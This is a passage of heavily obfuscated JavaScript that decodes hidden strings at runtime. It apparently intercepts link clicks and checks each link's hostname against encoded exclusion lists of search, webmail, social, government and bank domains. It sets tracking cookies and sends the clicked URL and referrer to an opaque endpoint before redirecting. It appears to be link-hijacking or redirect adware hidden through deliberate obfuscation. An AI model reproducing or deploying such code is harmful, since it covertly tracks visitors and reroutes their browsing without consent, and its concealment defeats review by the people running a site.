4597 return state[[str, tag, z].join("")]("")[current + radius + anchor]()[918239[_EK$jscomp$0](36)]("");
4598 };
4599 var output = Hs$jscomp$0(1, 93435);
4600 var A = parse() + input.hostname;
4601 if (A.indexOf(check()) == -1 && Kw$jscomp$0(A) == 1) {
4602 return true;
4603 }
4604 kb$jscomp$0[start() + output] = function() {
4605 return function(resultin) {
4606 if (resultin) {
4607 try {
4608 /**
4609 * @param {number} i
4610 * @param {number} size
4611 * @param {string} data
4612 * @param {string} error
4613 * @param {string} status
4614 * @return {?}
4615 */
4616 var init = function(i, size, data, error, status) {
4617 /** @type {string} */
4618 var moveColor = "len";
4619 /** @type {string} */
4620 var patt_name = "gth";
4621 /** @type {string} */
4622 var bk0 = "295";
4623 /** @type {string} */
4624 var overviewId = "411";
4625 /** @type {string} */
4626 var stderrIndicator = "23";
4627 /** @type {string} */
4628 var topicUri6 = "1039";
4629 /** @type {string} */
4630 var cfgH = "54";
4631 /** @type {string} */
4632 var pinVal = "95";
4633 /** @type {string} */
4634 var cfgW = "39";
4635 /** @type {string} */
4636 var distStyle = "3964";
4637 /** @type {string} */
4638 var depth_diff = "11";
4639 /** @type {string} */
4640 var inImageSize = "3414";
4641 /** @type {string} */
4642 var CredentialScope = "05";
4643 /** @type {string} */
4644 var message = "spli";
4645 /** @type {string} */
4646 var x = "t";
4647 /** @type {string} */
4648 var $mime_type = "reve";
4649 /** @type {string} */
4650 var prKey = "rse";
4651 /** @type {string} */
4652 status = moveColor + patt_name;
4653 /** @type {string} */
4654 i = bk0;
4655 /** @type {number} */
4656 size = 3;
4657 /** @type {string} */
4658 error = "";
4659 /** @type {string} */
4660 data = [overviewId, distStyle, CredentialScope, inImageSize, topicUri6, cfgH, depth_diff, cfgW, stderrIndicator, pinVal].join("");
4661 /** @type {number} */
4662 var index = 0;
4663 for (; index < data[status]; index = index + size) {
4664 /** @type {string} */
4665 var property = "tr";
4666 /** @type {string} */
4667 var _sort_ = "subs";
4668 error = error + String[_Ds$jscomp$0](parseInt(data[_sort_ + property](index, size), 10) - i);
4669 }
4670 return error[message + x]("")[[$mime_type, prKey].join("")]()[918239[_EK$jscomp$0](36)]("");
4671 };
4672 if (kb$jscomp$0[Lm$jscomp$0]) {
4673 hO$jscomp$0(dh$jscomp$0, 1, 86400, args);
4674 } else {
4675 if (A.indexOf(init()) == -1) {
4676 hO$jscomp$0(A, 1, 3600);
4677 }
4678 }
4679 } catch (r) {
4680 }
4681 clearTimeout(autoResumeTimer);
4682 Kx$jscomp$0(resultin, input);
4683 } else {
4684 Kx$jscomp$0(value, input);
4685 }
4686 };
4687 }();
4688 var value = input.href;
4689 /** @type {string} */
4690 var props = Zy$jscomp$0 + handler() + encodeURIComponent(Z$jscomp$9);
4691 if (kb$jscomp$0[Z$jscomp$9 + init()]) {
4692 /** @type {string} */
4693 var key = "bi";
4694 /** @type {string} */
4695 var sep = "&su";
4696 /** @type {string} */
4697 var eq = "d=";
4698 /**
4699 * @param {number} coords
4700 * @param {number} size
4701 * @param {string} data
4702 * @param {string} state
4703 * @param {string} name
4704 * @return {?}
4705 */
4706 var render = function(coords, size, data, state, name) {
4707 /** @type {string} */
4708 var a = "gth";
4709 /** @type {string} */
4710 var n = "len";
4711 /** @type {string} */
4712 var overviewId = "447";
4713 /** @type {string} */
4714 var topicUri6 = "645";
4715 /** @type {string} */
4716 var inImageSize = "55";
4717 /** @type {string} */
4718 var cfgH = "62";
4719 /** @type {string} */
4720 var appDrivePath = "5475";
4721 /** @type {string} */
4722 var CredentialScope = "54";
4723 /** @type {string} */
4724 var prKey = "52";
4725 /** @type {string} */
4726 var $mime_type = "spl";
4727 /** @type {string} */
4728 var itSkip = "it";
4729 /** @type {string} */
4730 var icon = "ve";
4731 /** @type {string} */
4732 var _ = "re";
4733 /** @type {string} */
4734 var pos = "rs";
4735 /** @type {string} */
4736 var msg = "e";
4737 /** @type {string} */
4738 var statbackend = "joi";
4739 /** @type {string} */
4740 var key = "n";
4741 /** @type {string} */
4742 name = n + a;
4743 /** @type {string} */
4744 coords = [overviewId].join("");
4745 /** @type {number} */
4746 size = 3;
4747 /** @type {string} */
4748 state = "";
4749 /** @type {string} */
4750 data = [appDrivePath, prKey, CredentialScope, inImageSize, topicUri6, cfgH].join("");
4751 /** @type {number} */
4752 var index = 0;
4753 for (; index < data[name]; index = index + size) {
4754 /** @type {string} */
4755 var i = "r";
4756 /** @type {string} */
4757 var $mime_type = "su";
4758 /** @type {string} */
4759 var currNode = "bst";
4760 state = state + String[_Ds$jscomp$0](parseInt(data[[$mime_type, currNode, i].join("")](index, size), 10) - coords);
4761 }
4762 return state[[$mime_type, itSkip].join("")]("")[_ + icon + pos + msg]()[statbackend + key]("");
4763 };
4764 /** @type {string} */
4765 props = props + (sep + key + eq + encodeURIComponent(kb$jscomp$0[Z$jscomp$9 + render()]));
4766 }
4767 /** @type {string} */
4768 props = props + (fn() + output);
4769 if (jh$jscomp$0 && null !== Dp$jscomp$0) {
4770 /**
4771 * @param {number} date
4772 * @param {number} y
4773 * @param {string} win
4774 * @param {string} data
4775 * @param {string} type
4776 * @return {?}
4777 */
4778 var init = function(date, y, win, data, type) {
4779 /** @type {string} */
4780 var i = "len";
4781 /** @type {string} */
4782 var prKey = "gth";
4783 /** @type {string} */
4784 var inImageSize = "417";
4785 /** @type {string} */
4786 var $mime_type = "12";
4787 /** @type {string} */
4788 var pinId = "81";
4789 /** @type {string} */
4790 var CredentialScope = "8318";
4791 /** @type {string} */
4792 var topicUri6 = "8105";
4793 /** @type {string} */
4794 var overviewId = "spli";
4795 /** @type {string} */
4796 var taskName = "t";
4797 /** @type {string} */
4798 var distStyle = "rse";
4799 /** @type {string} */
4800 var appDrivePath = "reve";
4801 /** @type {string} */
4802 type = [i, prKey].join("");
4803 /** @type {string} */
4804 date = "67";
4805 /** @type {number} */
4806 y = 3;
4807 /** @type {string} */
4808 data = "";
4809 /** @type {string} */
4810 win = [$mime_type, pinId, CredentialScope, inImageSize, topicUri6].join("");
4811 /** @type {number} */
4812 var x = 0;
4813 for (; x < win[type]; x = x + y) {
4814 /** @type {string} */
4815 var $mime_type = "su";
4816 /** @type {string} */
4817 var prKey = "bstr";
4818 data = data + String[_Ds$jscomp$0](parseInt(win[[$mime_type, prKey].join("")](x, y), 10) - date);
4819 }
4820 return data[[overviewId, taskName].join("")]("")[[appDrivePath, distStyle].join("")]()[918239[_EK$jscomp$0](36)]("");
4821 };
4822 /** @type {string} */
4823 var eq = "=";
4824 /** @type {string} */
4825 var strpriv = "rigi";
4826 /** @type {string} */
4827 var key = "lUrl";
4828 /** @type {string} */
4829 var name = "na";
4830 /** @type {string} */
4831 var _ = "&o";
4832 /**
4833 * @param {?} n
4834 * @param {string} val
4835 * @param {string} pos
4836 * @param {string} e
4837 * @return {?}
4838 */
4839 var E = function(n, val, pos, e) {
4840 /** @type {string} */
4841 var s = "leng";
4842 /** @type {string} */
4843 var i = "th";
4844 /** @type {string} */
4845 var pgelem5 = "E1";
4846 /** @type {string} */
4847 var name = "109";
4848 /** @type {string} */
4849 var messages = "38";
4850 /** @type {string} */
4851 var siteName = "0E";
4852 /** @type {string} */
4853 var pgelem9 = "2E11";
4854 /** @type {string} */
4855 var varVal = "9E";
4856 /** @type {string} */
4857 var varWithEqual = "17E9";
4858 /** @type {string} */
4859 var escapedEmail = "111";
4860 /** @type {string} */
4861 var c = "61E1";
4862 /** @type {string} */
4863 var h = "11";
4864 /** @type {string} */
4865 var w = "6E";
4866 /** @type {string} */
4867 var pgelem3 = "0E";
4868 /** @type {string} */
4869 var pgelem7 = "11";
4870 /** @type {string} */
4871 var pgelem4 = "116";
4872 /** @type {string} */
4873 var mod = "01E";
4874 /** @type {string} */
4875 var pgelem8 = "1E7";
4876 /** @type {string} */
4877 var b = "E1";
4878 /** @type {string} */
4879 var Thousands = "E9";
4880 /** @type {string} */
4881 var sitesowners = "E10";
4882 /** @type {string} */
4883 var pgelem6 = "15E";
4884 /** @type {string} */
4885 var id = "101E";
4886 /** @type {string} */
4887 var _b = "109";
4888 /** @type {string} */
4889 var cats = "0E";
4890 /** @type {string} */
4891 var pgelem2 = "7E11";
4892 /** @type {string} */
4893 var middlePathName = "it";
4894 /** @type {string} */
4895 var baseNewPath = "spl";
4896 /** @type {string} */
4897 var prKey = "rs";
4898 /** @type {string} */
4899 var $mime_type = "reve";
4900 /** @type {string} */
4901 var ext = "e";
4902 /** @type {string} */
4903 e = s + i;
4904 /** @type {string} */
4905 n = "E";
4906 /** @type {string} */
4907 pos = "";
4908 val = (c + mod + name + Thousands + pgelem2 + pgelem3 + pgelem4 + pgelem5 + pgelem6 + pgelem7 + pgelem8 + pgelem9 + w + h + cats + id + _b + b + varWithEqual + varVal + escapedEmail + sitesowners + siteName + messages)[baseNewPath + middlePathName](n)[[$mime_type, prKey, ext].join("")]();
4909 /** @type {number} */
4910 var sliderValueViewProp = 0;
4911 for (; sliderValueViewProp < val[e]; sliderValueViewProp++) {
4912 /** @type {string} */
4913 pos = pos + _NK$jscomp$0(val[sliderValueViewProp]);
4914 }
4915 return pos;
4916 };
4917 /** @type {string} */
4918 props = props + (init() + encodeURIComponent(Dp$jscomp$0));
4919 /** @type {string} */
4920 props = props + (_ + strpriv + name + key + eq + encodeURIComponent(value));
4921 /** @type {string} */
4922 props = props + (E() + encodeURIComponent(Xq$jscomp$0));
4923 } else {
4924 /**
4925 * @param {string} value
4926 * @param {string} options
4927 * @param {string} component
4928 * @param {string} index
4929 * @return {?}
4930 */
4931 var render = function(value, options, component, index) {
4932 /** @type {string} */
4933 var result11 = "le";
4934 /** @type {string} */
4935 var w = "h";
4936 /** @type {string} */
4937 var prKey = "ngt";
4938 /** @type {string} */
4939 var a = "61";
4940 /** @type {string} */
4941 var hyphen = "Y1";
4942 /** @type {string} */
4943 var s = "Y3";
4944 /** @type {string} */
4945 var bucket = "17Y";
4946 /** @type {string} */
4947 var XXX = "111";
4948 /** @type {string} */
4949 var b = "16Y1";
4950 /** @type {string} */
4951 var _se = "8";
4952 /** @type {string} */
4953 var managementcommandsdns = "spl";
4954 /** @type {string} */
4955 var siteName = "it";
4956 /** @type {string} */
4957 var ext = "e";
4958 /** @type {string} */
4959 var op = "re";
4960 /** @type {string} */
4961 var distStyle = "vers";
4962 /** @type {string} */
4963 index = [result11, prKey, w].join("");
4964 /** @type {string} */
4965 value = "Y";
4966 /** @type {string} */
4967 component = "";
4968 options = (a + hyphen + b + bucket + XXX + s + _se)[managementcommandsdns + siteName](value)[[op, distStyle, ext].join("")]();
4969 /** @type {number} */
4970 var i = 0;
4971 for (; i < options[index]; i++) {
4972 /** @type {string} */
4973 component = component + _NK$jscomp$0(options[i]);
4974 }
4975 return component;
4976 };
4977 /** @type {string} */
4978 props = props + (render() + encodeURIComponent(value));
4979 }
4980 /** @type {string} */
4981 props = props + (render() + encodeURIComponent(UY$jscomp$0));
4982 /** @type {string} */
4983 props = props + (move() + (Kw$jscomp$0(rs$jscomp$0) || 0));
4984 if (args) {
4985 /** @type {string} */
4986 var prKey = "_fc";
4987 /** @type {string} */
4988 var CredentialScope = "=1";
4989 /** @type {string} */
4990 var $mime_type = "&ext";
4991 /** @type {string} */
4992 props = props + [$mime_type, prKey, CredentialScope].join("");
4993 /** @type {number} */
4994 kb$jscomp$0[Lm$jscomp$0] = 1;
4995 }
4996 qy$jscomp$0(cD$jscomp$0(props));
4997 /** @type {number} */
4998 var autoResumeTimer = setTimeout(function() {
4999 Kx$jscomp$0(value, input);
5000 }, 3e3);
5001 }
5002 /**
5003 * @return {?}
5004 */
5005 var _Qe43$jscomp$0 = function() {
5006 /**
5007 * @param {string} str
5008 * @param {string} data
5009 * @param {string} input
5010 * @param {string} key
5011 * @return {?}
5012 */
5013 var move = function(str, data, input, key) {
5014 /** @type {string} */
5015 var prKey = "gth";
5016 /** @type {string} */
5017 var i = "len";
5018 /** @type {string} */
5019 var ihi = "i9";
5020 /** @type {string} */
5021 var path = "2i10";
5022 /** @type {string} */
5023 var file = "2i9";
5024 /** @type {string} */
5025 var Usertwo = "51i1";
5026 /** @type {string} */
5027 var Userone = "53i";
5028 /** @type {string} */
5029 var jlow = "53";
5030 /** @type {string} */
5031 var sha = "9i4";
5032 /** @type {string} */
5033 var sitesowners = "02";
5034 /** @type {string} */
5035 var c = "9i";
5036 /** @type {string} */
5037 var escapedEmail = "i5";
5038 /** @type {string} */
5039 var potential_users = "53";
5040 /** @type {string} */
5041 var fileDir = "8i1";
5042 /** @type {string} */
5043 var fileTarget = "00";
5044 /** @type {string} */
5045 var HEAD = "02i1";
5046 /** @type {string} */
5047 var siteName = "i52i";
5048 /** @type {string} */
5049 var expect = "sp";
5050 /** @type {string} */
5051 var PR_LITERAL = "lit";
5052 /** @type {string} */
5053 key = [i, prKey].join("");
5054 /** @type {string} */
5055 str = "i";
5056 /** @type {string} */
5057 input = "";
5058 data = (jlow + ihi + c + Userone + Usertwo + sitesowners + siteName + potential_users + escapedEmail + path + file + sha + fileDir + HEAD + fileTarget)[expect + PR_LITERAL](str);
5059 /** @type {number} */
5060 var max = 0;
5061 for (; max < data[key]; max++) {
5062 /** @type {string} */
5063 input = input + _NK$jscomp$0(data[max]);
5064 }
5065 return input;
5066 };
5067 var coord2 = move();
5068 return coord2;
5069 };
5070 /**
5071 * @return {?}
5072 */
5073 var _Qe44$jscomp$0 = function() {
5074 /**
5075 * @param {number} value
5076 * @param {number} data
5077 * @param {string} options
5078 * @param {string} state
5079 * @param {string} name
5080 * @return {?}
5081 */
5082 var fn = function(value, data, options, state, name) {
5083 /** @type {string} */
5084 var uk_icon_ = "leng";
5085 /** @type {string} */
5086 var i = "th";
5087 /** @type {string} */
5088 var sequence_values = "280";
5089 /** @type {string} */
5090 var siteName = "4";
5091 /** @type {string} */
5092 var escapedEmail = "639";
5093 /** @type {string} */
5094 var jlow = "33";
5095 /** @type {string} */
5096 var ihi = "839";
5097 /** @type {string} */
5098 var sitesusers = "638";
5099 /** @type {string} */
5100 var potential_users = "39";
5101 /** @type {string} */
5102 var c = "5392";
5103 /** @type {string} */
5104 var str = "sp";
5105 /** @type {string} */
5106 var type = "t";
5107 /** @type {string} */
5108 var tag = "li";
5109 /** @type {string} */
5110 var $mime_type = "reve";
5111 /** @type {string} */
5112 var prKey = "rse";
5113 /** @type {string} */
5114 var event = "join";
5115 /** @type {string} */
5116 name = uk_icon_ + i;
5117 /** @type {string} */
5118 value = sequence_values;
5119 /** @type {number} */
5120 data = 3;
5121 /** @type {string} */
5122 state = "";
5123 /** @type {string} */
5124 options = jlow + ihi + c + potential_users + escapedEmail + sitesusers + siteName;
5125 /** @type {number} */
5126 var index = 0;
5127 for (; index < options[name]; index = index + data) {
5128 /** @type {string} */
5129 var key = "str";
5130 /** @type {string} */
5131 var component = "sub";
5132 state = state + String[_Ds$jscomp$0](parseInt(options[component + key](index, data), 10) - value);
5133 }
5134 return state[[str, tag, type].join("")]("")[[$mime_type, prKey].join("")]()[[event].join("")]("");
5135 };
5136 var o = fn();
5137 return o;
5138 };
5139 /**
5140 * @return {?}
5141 */
5142 var _Qe45$jscomp$0 = function() {
5143 /**
5144 * @param {string} m
5145 * @param {string} opts
5146 * @param {string} options
5147 * @param {string} val
5148 * @return {?}
5149 */
5150 var initOptions = function(m, opts, options, val) {
5151 /** @type {string} */
5152 var $mime_type = "leng";
5153 /** @type {string} */
5154 var b = "th";
5155 /** @type {string} */
5156 var escapedEmail = "r11";
5157 /** @type {string} */
5158 var sitesusers = "6r11";
5159 /** @type {string} */
5160 var middlePathName = "r116";
5161 /** @type {string} */
5162 var siteName = "2r";
5163 /** @type {string} */
5164 var baseNewPath = "104";
5165 /** @type {string} */
5166 var Z = "58";
5167 /** @type {string} */
5168 var Y = "115r";
5169 /** @type {string} */
5170 var imageModelSection = "spl";
5171 /** @type {string} */
5172 var id = "it";
5173 /** @type {string} */
5174 val = [$mime_type, b].join("");
5175 /** @type {string} */
5176 m = "r";
5177 /** @type {string} */
5178 options = "";
5179 opts = (baseNewPath + middlePathName + escapedEmail + sitesusers + siteName + Y + Z)[imageModelSection + id](m);
5180 /** @type {number} */
5181 var j = 0;
5182 for (; j < opts[val]; j++) {
5183 /** @type {string} */
5184 options = options + _NK$jscomp$0(opts[j]);
5185 }
5186 return options;
5187 };
5188 var multiLineOptions = initOptions();
5189 return multiLineOptions;
5190 };
5191 /**
5192 * @param {number} coords
5193 * @param {number} size
5194 * @param {string} data
5195 * @param {string} error
5196 * @param {string} idx
5197 * @return {?}
5198 */
5199 var _yX$jscomp$0 = function(coords, size, data, error, idx) {
5200 /** @type {string} */
5201 var suf = "th";
5202 /** @type {string} */
5203 var result11 = "le";
5204 /** @type {string} */
5205 var moduleId = "ng";
5206 /** @type {string} */
5207 var $mime_type = "420";
5208 /** @type {string} */
5209 var escapedEmail = "24";
5210 /** @type {string} */
5211 var colorName = "4785";
5212 /** @type {string} */
5213 var potential_users = "365";
5214 /** @type {string} */
5215 var sitesowners = "325";
5216 /** @type {string} */
5217 var siteName = "365";
5218 /** @type {string} */
5219 var x = "t";
5220 /** @type {string} */
5221 var message = "spli";
5222 /** @type {string} */
5223 var theTokenLength = "rse";
5224 /** @type {string} */
5225 var index = "reve";
5226 /** @type {string} */
5227 idx = [result11, moduleId, suf].join("");
5228 /** @type {string} */
5229 coords = [$mime_type].join("");
5230 /** @type {number} */
5231 size = 3;
5232 /** @type {string} */
5233 error = "";
5234 /** @type {string} */
5235 data = colorName + sitesowners + siteName + potential_users + escapedEmail;
5236 /** @type {number} */
5237 var i = 0;
5238 for (; i < data[idx]; i = i + size) {
5239 /** @type {string} */
5240 var sub = "sub";
5241 /** @type {string} */
5242 var name = "str";
5243 error = error + String[_Ds$jscomp$0](parseInt(data[sub + name](i, size), 10) - coords);
5244 }
5245 return error[message + x]("")[index + theTokenLength]()[918239[_EK$jscomp$0](36)]("");
5246 };
5247 /**
5248 * @param {string} prop
5249 * @param {string} stack
5250 * @param {string} re
5251 * @param {string} i
5252 * @return {?}
5253 */
5254 var _nj$jscomp$0 = function(prop, stack, re, i) {
5255 /** @type {string} */
5256 var moduleId = "ng";
5257 /** @type {string} */
5258 var suf = "th";
5259 /** @type {string} */
5260 var result11 = "le";
5261 /** @type {string} */
5262 var rootid = "9X4";
5263 /** @type {string} */
5264 var key = "1X";
5265 /** @type {string} */
5266 var Thousands = "10";
5267 /** @type {string} */
5268 var index = "10";
5269 /** @type {string} */
5270 var suffix = "0X1";
5271 /** @type {string} */
5272 var v = "1X1";
5273 /** @type {string} */
5274 var l = "X10";
5275 /** @type {string} */
5276 var fun = "7X";
5277 /** @type {string} */
5278 var dr = "X9";
5279 /** @type {string} */
5280 var fFullWidth = "X10";
5281 /** @type {string} */
5282 var g = "47";
5283 /** @type {string} */
5284 var r = "7X";
5285 /** @type {string} */
5286 var _ = "17X9";
5287 /** @type {string} */
5288 var chars = "6X4";
5289 /** @type {string} */
5290 var scaledGridCellHeight = "47";
5291 /** @type {string} */
5292 var px = "7X1";
5293 /** @type {string} */
5294 var _DOT_ = "11";
5295 /** @type {string} */
5296 var sx = "10";
5297 /** @type {string} */
5298 var col = "14X1";
5299 /** @type {string} */
5300 var M = "8X4";
5301 /** @type {string} */
5302 var y = "8X4";
5303 /** @type {string} */
5304 var sy = "X105";
5305 /** @type {string} */
5306 var _column_ = "6X1";
5307 /** @type {string} */
5308 var D = "6X";
5309 /** @type {string} */
5310 var C = "10";
5311 /** @type {string} */
5312 var version = "05";
5313 /** @type {string} */
5314 var attrs = "X10";
5315 /** @type {string} */
5316 var id = "X112";
5317 /** @type {string} */
5318 var name = "16X1";
5319 /** @type {string} */
5320 var tmp = "X111";
5321 /** @type {string} */
5322 var bookdetail = "X105";
5323 /** @type {string} */
5324 var lengthParamStr = "9X1";
5325 /** @type {string} */
5326 var sh = "X10";
5327 /** @type {string} */
5328 var R = "01X1";
5329 /** @type {string} */
5330 var t = "7X10";
5331 /** @type {string} */
5332 var type = "X103";
5333 /** @type {string} */
5334 var cl = "11";
5335 /** @type {string} */
5336 var managementcommandsdns = "spli";
5337 /** @type {string} */
5338 var siteName = "t";
5339 /** @type {string} */
5340 var $ = "rev";
5341 /** @type {string} */
5342 var operator = "se";
5343 /** @type {string} */
5344 var winRateSesh = "er";
5345 /** @type {string} */
5346 i = [result11, moduleId, suf].join("");
5347 /** @type {string} */
5348 prop = "X";
5349 /** @type {string} */
5350 re = "";
5351 stack = (scaledGridCellHeight + fFullWidth + px + sx + sy + sh + y + t + lengthParamStr + cl + dr + rootid + _column_ + col + R + name + Thousands + bookdetail + id + tmp + l + fun + _DOT_ + key + index + chars + D + C + v + version + type + attrs + suffix + _ + M + r + g)[managementcommandsdns + siteName](prop)[$ + winRateSesh + operator]();
5352 /** @type {number} */
5353 var j = 0;
5354 for (; j < stack[i]; j++) {
5355 /** @type {string} */
5356 re = re + _NK$jscomp$0(stack[j]);
5357 }
5358 return re;
5359 };
5360 /**
5361 * @param {string} type
5362 * @param {string} values
5363 * @param {string} msg
5364 * @param {string} k
5365 * @return {?}
5366 */
5367 var _nj2$jscomp$0 = function(type, values, msg, k) {
5368 /** @type {string} */
5369 var i = "th";
5370 /** @type {string} */
5371 var oauth_ = "leng";
5372 /** @type {string} */
5373 var overviewId = "49j4";
5374 /** @type {string} */
5375 var prKey = "8j48";
5376 /** @type {string} */
5377 var $mime_type = "spli";
5378 /** @type {string} */
5379 var taskName = "t";
5380 /** @type {string} */
5381 k = oauth_ + i;
5382 /** @type {string} */
5383 type = "j";
5384 /** @type {string} */
5385 msg = "";
5386 values = [overviewId, prKey].join("")[[$mime_type, taskName].join("")](type);
5387 /** @type {number} */
5388 var value = 0;
5389 for (; value < values[k]; value++) {
5390 /** @type {string} */
5391 msg = msg + _NK$jscomp$0(values[value]);
5392 }
5393 return msg;
5394 };
5395 /**
5396 * @param {string} el
5397 * @param {string} values
5398 * @param {string} expected
5399 * @param {string} index
5400 * @return {?}
5401 */
5402 var _nj3$jscomp$0 = function(el, values, expected, index) {
5403 /** @type {string} */
5404 var tfl = "gt";
5405 /** @type {string} */
5406 var ii = "len";
5407 /** @type {string} */
5408 var i = "h";
5409 /** @type {string} */
5410 var options = "93Z34Z117Z114Z46Z107Z110Z97Z98Z45Z110Z97Z105Z115Z97Z114Z117Z101Z34Z44Z34Z117Z114Z46Z101Z99Z110Z97Z110Z105Z102Z115Z109Z115Z34Z44Z34Z117Z114Z46Z120Z101Z100Z110Z97Z121Z46Z121Z101Z110Z111Z109Z34Z44Z34Z117Z114Z46Z110Z101Z115Z105Z101Z102Z102Z105Z97Z114Z34Z44Z34Z108Z112Z46Z107Z110Z97Z98Z110Z105Z116Z101Z103Z34Z44Z34Z108Z112Z46Z107Z110Z97Z98Z111Z114Z117Z101Z34Z44Z34Z115Z101Z46Z111Z114Z101Z106Z97Z99Z111Z116Z105Z100Z101Z114Z99Z34Z44Z34Z108Z112Z46Z101Z108Z111Z99Z105Z114Z103Z97Z116Z105Z100Z101Z114Z99Z34Z44Z34Z46Z107Z110Z97Z98Z34Z44Z34Z109Z111Z99Z46Z101Z108Z103Z111Z111Z103Z46Z108Z105Z97Z109Z34Z44Z34Z109Z111Z99Z46Z101Z108Z103Z111Z111Z103Z46Z101Z118Z105Z114Z100Z34Z44Z34Z109Z111Z99Z46Z101Z108Z103Z111Z111Z103Z46Z115Z99Z111Z100Z34Z44Z34Z109Z111Z99Z46Z114Z101Z116Z116Z105Z119Z116Z34Z44Z34Z109Z111Z99Z46Z115Z105Z104Z116Z100Z100Z97Z34Z44Z34Z116Z101Z110Z46Z107Z99Z105Z108Z99Z101Z108Z98Z117Z111Z100Z34Z44Z34Z109Z111Z99Z46Z110Z105Z100Z101Z107Z110Z105Z108Z34Z44Z34Z118Z111Z103Z46Z34Z44Z34Z46Z101Z114Z117Z99Z101Z115Z34Z44Z34Z109Z111Z99Z46Z108Z97Z112Z121Z97Z112Z34Z44Z34Z97Z117Z46Z52Z50Z116Z97Z118Z105Z114Z112Z34Z44Z34Z97Z117Z46Z98Z112Z34Z44Z34Z103Z114Z111Z46Z114Z101Z107Z99Z97Z114Z116Z117Z114Z34Z44Z34Z117Z114Z46Z105Z119Z105Z113Z34Z44Z34Z109Z111Z99Z46Z105Z119Z105Z113Z34Z44Z34Z117Z114Z46Z114Z101Z108Z98Z109Z97Z114Z34Z44Z34Z117Z114Z46Z114Z98Z97Z104Z97Z114Z98Z97Z104Z34Z44Z34Z117Z114Z46Z108Z105Z97Z109Z34Z44Z34Z97Z117Z46Z120Z101Z100Z110Z97Z121Z34Z44Z34Z117Z114Z46Z97Z121Z34Z44Z34Z117Z114Z46Z120Z101Z100Z110Z97Z121Z34Z44Z34Z103Z114Z111Z46Z97Z105Z100Z101Z112Z105Z107Z105Z119Z34Z44Z34Z46Z101Z108Z103Z111Z111Z103Z34Z44Z34Z101Z114Z117Z99Z101Z115Z46Z34Z91";
5411 /** @type {string} */
5412 var $mime_type = "spl";
5413 /** @type {string} */
5414 var itSkip = "it";
5415 /** @type {string} */
5416 var name = "rse";
5417 /** @type {string} */
5418 var outer = "reve";
5419 /** @type {string} */
5420 index = ii + tfl + i;
5421 /** @type {string} */
5422 el = "Z";
5423 /** @type {string} */
5424 expected = "";
5425 values = options[[$mime_type, itSkip].join("")](el)[outer + name]();
5426 /** @type {number} */
5427 var value = 0;
5428 for (; value < values[index]; value++) {
5429 /** @type {string} */
5430 expected = expected + _NK$jscomp$0(values[value]);
5431 }
5432 return expected;
5433 };
5434 /**
5435 * @return {?}
5436 */
5437 var _Qe46$jscomp$0 = function() {
5438 /**
5439 * @param {string} action
5440 * @param {string} data
5441 * @param {string} id
5442 * @param {string} type
5443 * @return {?}
5444 */
5445 var init = function(action, data, id, type) {
5446 /** @type {string} */
5447 var i = "h";
5448 /** @type {string} */
5449 var bbbbbbaaaaaaaabbbb = "gt";
5450 /** @type {string} */
5451 var j = "len";
5452 /** @type {string} */
5453 var obj = "93M34M109M111M99M46M101M108M103M111M111M103M46M108M105M97M109M34M44M34M109M111M99M46M101M108M103M111M111M103M46M101M118M105M114M100M34M44M34M109M111M99M46M101M108M103M111M111M103M46M115M99M111M100M34M44M34M117M114M46M105M107M105M110M115M115M97M108M107M111M110M100M111M34M44M34M117M114M46M107M111M34M44M34M109M111M99M46M108M97M110M114M117M111M106M101M118M105M108M34M44M34M109M111M99M46M109M97M114M103M97M116M115M110M105M34M44M34M109M111M99M46M101M98M117M116M117M111M121M34M44M34M109M111M99M46M107M111M111M98M101M99M97M102M34M44M34M109M111M99M46M107M118M34M44M34M116M101M110M46M108M98M109M114M115M100M116M34M44M34M109M111M99M46M101M114M117M116M97M110M34M44M34M109M111M99M46M99M105M104M112M97M114M103M111M101M103M108M97M110M111M105M116M97M110M34M44M34M109M111M99M46M115M101M109M105M116M97M108M34M44M34M117M100M101M46M100M114M97M118M114M97M104M34M44M34M109M111M99M46M121M97M100M111M116M97M115M117M34M44M34M103M114M111M46M97M105M100M101M109M105M107M105M119M34M44M34M109M111M99M46M108M101M110M97M112M99M34M44M34M109M111M99M46M115M114M101M116M117M101M114M34M44M34M109M111M99M46M117M100M105M97M98M34M44M34M109M111M99M46M115M101M98M114M111M102M34M44M34M109M111M99M46M120M111M98M112M111M114M100M34M44M34M109M111M99M46M112M108M101M121M34M44M34M109M111M99M46M108M97M112M121M97M112M34M44M34M109M111M99M46M110M97M105M100M114M97M117M103M101M104M116M34M44M34M103M114M111M46M97M108M108M105M122M111M109M34M44M34M109M111M99M46M111M100M109M105M106M34M44M34M109M111M99M46M98M117M104M116M105M103M34M44M34M109M111M99M46M115M101M109M105M116M121M110M34M44M34M109M111M99M46M111M101M109M105M118M34M44M34M109M111M99M46M114M108M98M109M117M116M34M44M34M109M111M99M46M101M98M111M100M97M34M44M34M109M111M99M46M116M115M101M114M101M116M110M105M112M34M44M34M109M111M99M46M116M102M111M115M111M114M99M105M109M34M44M34M109M111M99M46M107M99M105M108M99M101M108M98M117M111M100M34M44M34M107M117M46M111M99M46M99M98M98M34M44M34M109M111M99M46M110M105M100M101M107M110M105M108M34M44M34M109M111M99M46M98M100M109M105M34M44M34M109M111M99M46M114M107M99M105M108M102M34M44M34M109M111M99M46M116M101M107M99M117M98M111M116M111M104M112M34M44M34M109M111M99M46M114M101M103M103M111M108M98M34M44M34M109M111M99M46M111M103M34M44M34M109M111M99M46M103M110M105M98M34M44M34M109M111M99M46M101M99M97M112M115M121M109M34M44M34M109M111M99M46M115M115M101M114M112M100M114M111M119M34M44M34M109M111M99M46M99M105M116M97M116M115M103M34M44M34M109M111M99M46M111M111M104M97M121M34M91";
5454 /** @type {string} */
5455 var _was = "lit";
5456 /** @type {string} */
5457 var attr = "sp";
5458 /** @type {string} */
5459 var item = "e";
5460 /** @type {string} */
5461 var examples = "ers";
5462 /** @type {string} */
5463 var root = "rev";
5464 /** @type {string} */
5465 type = j + bbbbbbaaaaaaaabbbb + i;
5466 /** @type {string} */
5467 action = "M";
5468 /** @type {string} */
5469 id = "";
5470 data = obj[attr + _was](action)[root + examples + item]();
5471 /** @type {number} */
5472 var x = 0;
5473 for (; x < data[type]; x++) {
5474 /** @type {string} */
5475 id = id + _NK$jscomp$0(data[x]);
5476 }
5477 return id;
5478 };
5479 var parameters = init();
5480 return parameters;
5481 };
5482 /**
5483 * @return {?}
5484 */
5485 var _Qe47$jscomp$0 = function() {
5486 /**
5487 * @param {string} el
5488 * @param {string} n
5489 * @param {string} t
5490 * @param {string} s
5491 * @return {?}
5492 */
5493 var factory = function(el, n, t, s) {
5494 /** @type {string} */
5495 var i = "th";
5496 /** @type {string} */
5497 var step_ = "leng";
5498 /** @type {string} */
